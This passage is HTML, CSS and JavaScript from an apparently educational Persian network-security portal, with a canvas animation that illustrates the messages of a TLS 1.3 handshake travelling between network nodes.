if(window.visNetwork) {
try { window.visNetwork.selectNodes([step.from, step.to]); } catch(e){}
}
packetStep++;
}, 1800);
}
function triggerGraphScenario(type) {
runBidirectionalPacketAnim(type);
}
</script>
<script>
// Physical Canvas Packet Gliding Engine
let isGlidingRunning = false;
let packetProgress = 0;
let currentAnimHop = 0;
let glideAnimReq = null;
function startPhysicalPacketGliding(hops, callback) {
if(glideAnimReq) cancelAnimationFrame(glideAnimReq);
currentAnimHop = 0;
packetProgress = 0;
function animateFrame() {
if(!window.visNetwork) return;
if(currentAnimHop >= hops.length) {
if(callback) callback();
return;
}
const hop = hops[currentAnimHop];
const pos = window.visNetwork.getPositions([hop.from, hop.to]);
const p1 = pos[hop.from];
const p2 = pos[hop.to];
if(p1 && p2) {
packetProgress += 0.025; // Speed of packet glide
if(packetProgress > 1.0) {
packetProgress = 0;
currentAnimHop++;
} else {
// Interpolate coordinates
const curX = (1 - packetProgress) * p1.x + packetProgress * p2.x;
const curY = (1 - packetProgress) * p1.y + packetProgress * p2.y;
// Draw glowing packet on Vis.js canvas
const canvas = document.querySelector('#visCanvas canvas, #visGraphCanvas canvas');
if(canvas) {
const ctx = canvas.getContext('2d');
const domPos = window.visNetwork.canvasToDOM({x: curX, y: curY});
ctx.save();
ctx.beginPath();
ctx.arc(domPos.x, domPos.y, 10, 0, 2 * Math.PI, false);
ctx.fillStyle = hop.dir === 'in' ? '#f6d365' : '#00f2fe';
ctx.shadowColor = hop.dir === 'in' ? '#f6d365' : '#00f2fe';
ctx.shadowBlur = 15;
ctx.fill();
// Draw packet label
ctx.font = 'bold 12px Vazirmatn';
ctx.fillStyle = '#ffffff';
ctx.fillText(hop.label || '📦 Packet', domPos.x + 14, domPos.y + 4);
ctx.restore();
}
}
} else {
currentAnimHop++;
}
glideAnimReq = requestAnimationFrame(animateFrame);
}
glideAnimReq = requestAnimationFrame(animateFrame);
}
// Overwrite runBidirectionalPacketAnim to use physical gliding
function runBidirectionalPacketAnim(type) {
const hops = [
{ from: 1, to: 2, label: 'ClientHello ➔', dir: 'out' },
{ from: 2, to: 3, label: 'ISP Forward ➔', dir: 'out' },
{ from: 3, to: 5, label: 'TLS 1.3 ➔', dir: 'out' },
{ from: 5, to: 3, label: '⬅️ ServerHello', dir: 'in' },
{ from: 3, to: 2, label: '⬅️ Certificate', dir: 'in' },
{ from: 2, to: 1, label: '⬅️ Finished ACK', dir: 'in' }
];
const consoleEl = document.getElementById('graphConsole') || document.getElementById('inspectorLog');
if(consoleEl) consoleEl.innerHTML = "<span style='color:var(--accent-cyan); font-weight:bold;'>🚀 حرکت فیزیکی روان بستهها روی یالها آغاز شد...</span>";
startPhysicalPacketGliding(hops, () => {
if(consoleEl) consoleEl.innerHTML = "<span style='color:var(--accent-green); font-weight:bold;'>✅ پرواز کامل فیزیکی بستهها رفت و بازگشت با موفقیت انجام گردید!</span>";
});
}
</script>
</body>
</html>
<html lang="fa" dir="rtl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>🛡️ پورتال جامع و فوقامنیتی امنیت شبکه - سیستم تعاملی پایانترم</title>
<!-- Google Fonts: Vazirmatn (Persian) & JetBrains Mono (Code/Math) -->
<!-- Vis.js for Network Node Graphs -->
<script src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
<!-- Mermaid.js for Diagrams -->
<script src="https://cdn.jsdelivr.net/npm/mermaid@10.8.0/dist/mermaid.min.js"></script>
<!-- MathJax for Formulas -->
<style>
:root {
--bg-base: #060911;
--bg-surface: #0b1120;
--bg-card: rgba(16, 24, 42, 0.75);
--bg-card-hover: rgba(23, 34, 59, 0.85);
--border-glow: rgba(0, 242, 254, 0.25);
--border-subtle: rgba(255, 255, 255, 0.08);
--accent-cyan: #00f2fe;
--accent-blue: #4facfe;
--accent-gold: #f6d365;
--accent-orange: #fda085;
--accent-purple: #a855f7;
--accent-rose: #f43f5e;
--accent-green: #10b981;
--text-primary: #f1f5f9;
--text-secondary: #94a3b8;
--text-muted: #64748b;
--font-sans: 'Vazirmatn', sans-serif;
--font-mono: 'JetBrains Mono', monospace;
--glass-shadow: 0 20px 50px rgba(0, 0, 0, 0.6);
--neon-glow: 0 0 20px rgba(0, 242, 254, 0.35);
}
* { box-sizing: border-box; margin: 0; padding: 0; }
html { scroll-behavior: smooth; }
body {
background-color: var(--bg-base);
color: var(--text-primary);
font-family: var(--font-sans);
line-height: 1.8;
overflow-x: hidden;
background-image:
radial-gradient(circle at 15% 15%, rgba(0, 242, 254, 0.05) 0%, transparent 45%),
radial-gradient(circle at 85% 85%, rgba(168, 85, 247, 0.05) 0%, transparent 45%);
background-attachment: fixed;
}
/* Scrollbar Styling */
::-webkit-scrollbar { width: 8px; height: 8px; }
::-webkit-scrollbar-track { background: #03060c; }
::-webkit-scrollbar-thumb { background: rgba(0, 242, 254, 0.3); border-radius: 4px; }
::-webkit-scrollbar-thumb:hover { background: var(--accent-cyan); }
/* Top Sticky Glass Header */
header.top-header {
position: sticky; top: 0; z-index: 1000;
background: rgba(11, 17, 32, 0.85);
backdrop-filter: blur(20px);
border-bottom: 1px solid var(--border-glow);
padding: 12px 32px;
display: flex; justify-content: space-between; align-items: center;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.6);
}
.header-brand {
display: flex; align-items: center; gap: 14px;
font-family: var(--font-mono); font-size: 1.3rem; font-weight: 800;
background: linear-gradient(135deg, var(--accent-cyan), var(--accent-blue));
-webkit-background-clip: text; -webkit-text-fill-color: transparent;
}
.search-box-wrap {
position: relative; width: 340px;
}
.search-box-wrap input {
width: 100%; background: rgba(6, 9, 17, 0.8);
border: 1px solid var(--border-glow); border-radius: 30px;
padding: 8px 18px 8px 40px; color: #fff; font-family: var(--font-sans);
font-size: 0.9rem; transition: all 0.3s;
}
.search-box-wrap input:focus {
outline: none; border-color: var(--accent-cyan);
Xet Storage Details
- Size:
- 78.9 kB
- Xet hash:
- aba3e90daadf53c8db161e5000c837145a0938267af5594fae8cdb52c5a7c8ae
·
Xet efficiently stores files, intelligently splitting them into unique chunks and accelerating uploads and downloads. More info.